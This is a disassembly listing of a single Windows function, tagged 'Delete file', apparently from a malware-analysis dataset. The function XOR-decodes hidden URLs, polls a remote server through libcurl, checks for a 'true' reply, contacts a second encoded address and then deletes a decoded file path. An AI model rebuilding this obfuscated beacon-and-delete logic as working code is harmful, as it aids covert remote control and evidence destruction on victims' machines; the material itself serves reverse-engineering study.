Function at 0x180006a30
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x180040030]
xor rax, rsp
mov qword [rbp + 0x18], rax
xor r13d, r13d
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov r12, rax
test rax, rax
je 0x18000719a
movabs rsi, 0x7ffffffc81ee29ff
movabs rdi, 0x7fffffffffffffff
movabs r14, 0x37e11d600
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180006ab3
imul rax, rax, 0x64
jmp 0x180006ace
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rsi
jge 0x180006ade
lea rcx, [rax + r14]
mov qword [rsp + 0x70], rcx
jmp 0x180006ae3
mov qword [rsp + 0x70], rdi
lea rcx, [rsp + 0x70]
call fcn.1800155b0
movdqa xmm1, xmmword [0x180037410]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm2, xmmword [0x180037550]
movdqu xmmword [rsp + 0x30], xmm2
mov cl, 0x77
mov r8b, 0x29
mov r9b, 0x65
mov r10b, 0x62
mov r11b, 0x73
movzx ebx, cl
mov dil, 0x7b
mov sil, 0x7f
mov r14b, 0x72
mov r15b, 0x2b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], dl
xor byte [rsp + 0x23], dl
xor byte [rsp + 0x24], dl
xor byte [rsp + 0x25], dl
xor byte [rsp + 0x26], dl
xor byte [rsp + 0x27], dl
xor byte [rsp + 0x28], dl
xor byte [rsp + 0x29], dl
xor byte [rsp + 0x2a], dl
xor byte [rsp + 0x2b], dl
xor byte [rsp + 0x2c], dl
xor byte [rsp + 0x2d], dl
xor byte [rsp + 0x2e], dl
xor byte [rsp + 0x2f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x30], al
xor byte [rsp + 0x31], dl
xor byte [rsp + 0x32], dl
xor byte [rsp + 0x33], dl
xor byte [rsp + 0x34], dl
xor byte [rsp + 0x35], dl
xor byte [rsp + 0x36], dl
xor byte [rsp + 0x37], dl
xor byte [rsp + 0x38], dl
xor byte [rsp + 0x39], dl
xor byte [rsp + 0x3a], dl
xor byte [rsp + 0x3b], dl
xor byte [rsp + 0x3c], dl
xor byte [rsp + 0x3d], dl
xor byte [rsp + 0x3e], dl
xor byte [rsp + 0x3f], dl
xor cl, dl
mov byte [rsp + 0x40], cl
xor r8b, dl
mov byte [rsp + 0x41], r8b
xor r9b, dl
mov byte [rsp + 0x42], r9b
xor r10b, dl
mov byte [rsp + 0x43], r10b
xor r11b, dl
mov byte [rsp + 0x44], r11b
xor bl, dl
mov byte [rsp + 0x45], bl
xor dil, dl
mov byte [rsp + 0x46], dil
xor sil, dl
mov byte [rsp + 0x47], sil
xor r14b, dl
mov byte [rsp + 0x48], r14b
xor r15b, dl
mov byte [rsp + 0x49], r15b
mov byte [rsp + 0x4a], 0
lea r8, [0x180041398]
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 8]
call fcn.1800045a0
nop
lea r8, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae r8, qword [rbp - 8]
mov edx, 0x2712
mov rcx, r12
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x180005da0]
mov edx, 0x4e2b
mov rcx, r12
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x180040088]
mov edx, 0x2711
mov rcx, r12
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, r12
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov byte [rsp + 0x50], 1
mov al, 0x75
mov cl, 0x73
mov dl, 0x74
mov r8b, 0x64
xor r9d, r9d
xor al, 1
mov byte [rsp + 0x51], al
xor cl, 1
mov byte [rsp + 0x52], cl
xor dl, 1
mov byte [rsp + 0x53], dl
xor r8b, 1
mov byte [rsp + 0x54], r8b
mov byte [rsp + 0x55], r9b
lea rcx, [rsp + 0x51]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r9b
jne 0x180006cb0
lea rcx, [0x180040088]
cmp qword [0x1800400a0], 0x10
cmovae rcx, qword [0x180040088]
mov r8, qword [0x180040098]
cmp r8, rax
jne 0x1800070f8
lea rdx, [rsp + 0x51]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1800070f8
lea rcx, [rbp - 0x28]
call fcn.180024fc0
nop
mov byte [rsp + 0x58], 0x4a
mov al, 0x6c
mov cl, 0x26
mov dl, 0x23
mov r8b, 0x24
mov r9b, 0x21
mov r10b, 0x77
xor r11d, r11d
xor al, 0x4a
mov byte [rsp + 0x59], al
xor cl, 0x4a
mov byte [rsp + 0x5a], cl
xor dl, 0x4a
mov byte [rsp + 0x5b], dl
xor r8b, 0x4a
mov byte [rsp + 0x5c], r8b
xor r9b, 0x4a
mov byte [rsp + 0x5d], r9b
xor r10b, 0x4a
mov byte [rsp + 0x5e], r10b
mov byte [rsp + 0x5f], r11b
movdqa xmm1, xmmword [0x180037450]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm2, xmmword [0x1800374d0]
movdqu xmmword [rsp + 0x30], xmm2
mov dl, 0x1d
mov r8b, 0x1a
mov r9b, 0xb
mov r10b, 0xf
mov r11b, 3
mov bl, 7
mov dil, 0xa
mov sil, 0x53
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x30], al
xor byte [rsp + 0x31], cl
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
xor bl, cl
mov byte [rsp + 0x45], bl
xor dil, cl
mov byte [rsp + 0x46], dil
xor sil, cl
mov byte [rsp + 0x47], sil
mov byte [rsp + 0x48], 0
lea r8, [0x180041398]
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x68]
call fcn.1800045a0
nop
lea rcx, [rsp + 0x59]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x180006e71
lea rdx, [rsp + 0x59]
mov rcx, rax
call fcn.1800056c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdx, qword [rbp - 0x28]
mov r8, qword [rbp - 0x18]
lea rcx, [rsp + 0x78]
call fcn.1800056c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x180006f3c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006f37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007177
call fcn.180030790
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x180006f88
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006f83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000717e
call fcn.180030790
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rbx, rax
test rax, rax
je 0x180006fd6
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae r8, qword [rbp - 0x48]
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x34
lea r8d, [rdx - 0x33]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov byte [rsp + 0x60], 0x27
mov al, 0x64
mov cl, 0x1d
mov dl, 0x7b
mov r8b, 0x45
mov r9b, 0x42
movzx r10d, r8b
mov r11b, 0x55
mov bl, 0x46
mov dil, 9
mov sil, 0x57
mov r14b, 0x49
mov r15b, 0x40
xor r13d, r13d
xor al, 0x27
mov byte [rsp + 0x61], al
xor cl, 0x27
mov byte [rsp + 0x62], cl
xor dl, 0x27
mov byte [rsp + 0x63], dl
xor r8b, 0x27
mov byte [rsp + 0x64], r8b
xor r9b, 0x27
mov byte [rsp + 0x65], r9b
xor r10b, 0x27
mov byte [rsp + 0x66], r10b
xor r11b, 0x27
mov byte [rsp + 0x67], r11b
xor bl, 0x27
mov byte [rsp + 0x68], bl
xor dil, 0x27
mov byte [rsp + 0x69], dil
xor sil, 0x27
mov byte [rsp + 0x6a], sil
xor r14b, 0x27
mov byte [rsp + 0x6b], r14b
xor r15b, 0x27
mov byte [rsp + 0x6c], r15b
mov byte [rsp + 0x6d], r13b
lea rcx, [rsp + 0x61]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1800070ad
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800070a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007185
call fcn.180030790
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], r13b
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1800070f8
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800070f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000718c
call fcn.180030790
lea rax, [0x180040088]
cmp qword [0x1800400a0], 0x10
cmovae rax, qword [0x180040088]
mov qword [0x180040098], r13
mov byte [rax], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
movabs rdi, 0x7fffffffffffffff
movabs rsi, 0x7ffffffc81ee29ff
movabs r14, 0x37e11d600
jb 0x180006a95
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000716d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007193
call fcn.180030790
jmp 0x180006a95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.180030770
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret